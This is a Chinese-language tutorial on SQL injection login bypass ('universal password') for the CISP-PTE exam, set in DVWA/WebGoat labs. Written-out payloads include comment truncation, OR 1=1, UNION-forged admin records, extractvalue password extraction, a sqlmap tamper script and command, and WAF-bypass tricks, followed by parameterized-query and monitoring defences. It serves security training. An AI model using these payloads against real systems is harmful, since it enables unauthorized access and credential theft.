ARTICLE DETAIL

资讯详情

深耕网站建设、视觉设计与SEO优化的一线实战洞察。

SQL注入实战:五种万能密码攻击与防御方案

SQL注入实战:五种万能密码攻击与防御方案
## 1. 项目背景与核心挑战 SQL注入作为Web安全领域的经典漏洞类型,在CISP-PTE认证考试中占据重要地位。这个实验环境模拟了真实场景下的认证绕过场景,要求通过五种不同技术手段实现"万能密码"攻击。我在实际渗透测试中发现,很多防御措施仅针对单一攻击方式,掌握多维度突破手法对安全人员至关重要。 ## 2. 实验环境搭建要点 ### 2.1 靶机配置建议 使用DVWA或WebGoat搭建环境时,建议将安全级别设为"low",关闭WAF规则。关键配置项包括: - MySQL的`sql_mode`需包含`NO_BACKSLASH_ESCAPES` - PHP的`magic_quotes_gpc`设为off - 确保错误回显开启(方便初学者观察注入结果) ### 2.2 登录接口特征分析 典型漏洞登录页的SQL查询模板: ```sql SELECT * FROM users WHERE username='$user' AND password='$pass' LIMIT 1

注入点通常出现在$user和$pass两个参数,需要测试以下特征:

  • 单引号闭合情况
  • 布尔盲注响应差异
  • 报错信息泄露程度

3. 五种攻击方法深度解析

3.1 经典万能密码注入

最基础的payload构造:

admin' --

原理分析:单引号闭合username字段,--注释掉后续密码验证。实际执行的SQL变为:

SELECT * FROM users WHERE username='admin' -- ' AND password='xxx' LIMIT 1

注意:部分数据库需要空格 after--,MySQL中可直接连用

3.2 布尔逻辑绕过

利用OR逻辑构造永真条件:

admin' OR 1=1 --

变体形式:

' OR '1'='1

适用于密码字段的注入场景,需注意不同数据库的布尔表达式差异。

3.3 联合查询注入

通过UNION SELECT获取凭证:

admin' UNION SELECT 1,'admin','5f4dcc3b5aa765d61d8327deb882cf99' --

其中MD5值对应password的哈希。关键步骤:

  1. 确定字段数(通过ORDER BY测试)
  2. 匹配目标表的字段类型
  3. 伪造管理员记录

3.4 报错注入利用

借助extractvalue函数触发报错泄露信息:

admin' AND extractvalue(1,concat(0x7e,(SELECT password FROM users LIMIT 1))) --

适合无回显但有错误信息输出的场景,需注意:

  • 报错长度限制(32字符截断问题)
  • 权限要求(需SELECT权限)

3.5 sqlmap自动化攻击

编写tamper脚本处理特殊过滤:

#!/usr/bin/env python from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def tamper(payload, **kwargs): return payload.replace("'", "\\'") if kwargs.get('escape') else payload

使用命令:

sqlmap -u "http://target/login.php" --data="user=admin&pass=test" \ --tamper=escape_quote.py --level=5 --risk=3

4. 防御方案与检测技巧

4.1 安全编码实践

  • 参数化查询(PHP示例):
$stmt = $pdo->prepare("SELECT * FROM users WHERE username=? AND password=?"); $stmt->execute([$user, $pass]);
  • 输入验证正则:
if(!preg_match('/^[a-z0-9_]{3,16}$/i', $user)){ die('Invalid username'); }

4.2 WAF绕过特征

常见过滤规则及绕过方法:

过滤规则绕过手法
空格过滤使用/**/或%09(TAB)替代
关键词拦截大小写混写/SELECT/!50000SELECT/
单引号检测使用CHAR(39)或十六进制编码

4.3 日志监控指标

建议关注的攻击特征:

  • 单请求中超过3个特殊字符(',--,#等)
  • 短时间内大量401响应后出现200
  • User-Agent包含sqlmap等工具标识

5. 实战经验与排错记录

5.1 常见报错处理

  • 问题1:payload执行后页面空白
    排查:检查是否有语法错误,特别是引号闭合
    解决:改用URL编码形式提交(admin%27%20--%20)

  • 问题2:sqlmap检测不到注入点
    排查:确认Content-Type是否正确(需为application/x-www-form-urlencoded)
    解决:添加--headers="Content-Type: application/x-www-form-urlencoded"

5.2 效率优化技巧

  1. 使用Burp Suite的Intruder模块快速测试payload:

    • 配置Cluster bomb攻击类型
    • 设置payload位置为username和password参数
    • 加载预定义的SQL注入字典
  2. 手工注入时推荐浏览器插件:

    • HackBar(快速构造URL编码)
    • Max HacBar(支持多层级payload生成)
  3. 记忆关键ASCII码值:

    • 单引号:0x27
    • 空格:0x20
    • 注释符:0x2d2d

在最近一次企业渗透测试中,通过组合使用报错注入和布尔盲注,成功绕过了某CRM系统的登录限制。实际场景中往往需要混合多种技术,建议先手工测试确定漏洞存在,再用工具批量利用。

返回列表